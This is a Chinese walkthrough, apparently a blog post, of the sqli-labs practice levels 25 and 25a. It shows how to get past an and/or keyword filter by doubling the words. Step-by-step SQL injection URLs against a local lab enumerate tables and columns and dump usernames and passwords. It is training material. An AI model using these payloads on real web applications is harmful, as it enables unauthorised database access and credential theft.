目录
第二十五关
1、判断注入点
2、判断数据库
3、判断表名
4、判断字段名
5、获取数据库的数据
第二十五a关
1、判断注入点
2、判断数据库
第二十五关
知识点:绕过and、or过滤
思路:
通过分析源码和页面,我们可以知道对and和or 进行了过滤,我们需要绕过这些过滤,常见的绕过方式有大小写,双写,编码等
1、判断注入点
首先,我们输入正常的数据,看看回显
接着加入单引号
http://127.0.0.1:3306/Less-25/?id=1'
数据库语句报错,说明存在闭合问题,我们加入注释符
http://127.0.0.1:3306/Less-25/?id=1' --+
数据正常回显,说明这里的闭合方向正确,存在单引号的闭合问题
这里可以看到输入and、or被过滤掉了
尝试一下大小写混合,发现也是不行
这里因为源码对大小写进行忽略
/i的作用就是忽略大小写
我们尝试使用双写绕过
http://127.0.0.1:3306/Less-25/?id=1' anandd 1=1 --+
http://127.0.0.1:3306/Less-25/?id=1' oorr 1=1 --+
说明双写可以绕过
判断字段数
http://127.0.0.1:3306/Less-25/?id=1' oorrder by 3--+
http://127.0.0.1:3306/Less-25/?id=1' oorrder by 4 --+
说明当前的表的字段数有三个
判断数据回显位置
2、判断数据库
http://127.0.0.1:3306/Less-25/?id=-1' union select 1,2,database() --+
3、判断表名
使用group_concat()函数
http://127.0.0.1:3306/Less-25/?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' --+
4、判断字段名
以users表为例
http://127.0.0.1:3306/Less-25/?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' anandd table_name='users'--+
5、获取数据库的数据
使用concat_ws()函数
http://127.0.0.1:3306/Less-25/?id=-1' union select 1,2,concat_ws(',',id,username,passwoorrd) from security.users limit 0,1 --+
通过修改limit的值可以获取全部数据
第二十五a关
知识点:绕过and、or过滤
思路:
通过分析源码,可以知道跟25关一样,过滤了and、or ,且不区分大小写,所以用双写绕过,而且没有显示报错信息
1、判断注入点
首先,我们输入正常的数据,看看回显
http://127.0.0.1:3306/Less-25a/?id=1
加入单引号’
http://127.0.0.1:3306/Less-25a/?id=1'
报错了,但没有显示具体的报错原因,加上注入符 --+
http://127.0.0.1:3306/Less-25a/?id=1' --+
这里还是报错,以为是闭合方式不对,把 " ') ") 都试了一遍,还是不对,结果看源码,才发现是数值型注入,忽略还有这个类型,把自己给蠢笑了,哈哈哈
http://127.0.0.1:3306/Less-25a/?id=1 and 1=1 --+
这里发现and、or都被过滤,跟上面的思路一样,尝试大小写,双写,结果发现双写可以绕过
http://127.0.0.1:3306/Less-25a/?id=1 anandd 1=1 --+
将1=1,改成1=2
http://127.0.0.1:3306/Less-25a/?id=1 anandd 1=2 --+
数据没有回显,但没有报错,这也说明当前是数值型的注入
判断字段数
http://127.0.0.1:3306/Less-25a/?id=1 oorrder by 3 --+
http://127.0.0.1:3306/Less-25a/?id=1 oorrder by 4 --+
说明当前表的字段有3个
判断回显位置
http://127.0.0.1:3306/Less-25a/?id=1 anandd 1=2 union select 1,2,3--+
或者 http://127.0.0.1:3306/Less-25a/?id=-1 union select 1,2,3--+
2、判断数据库
http://127.0.0.1:3306/Less-25a/?id=-1 union select 1,2,database()--+
接下来的步骤就跟上面的差不多了,可以才参考上面的
这篇文章就先写到这里了,哪里不懂的或者不好的,欢迎指出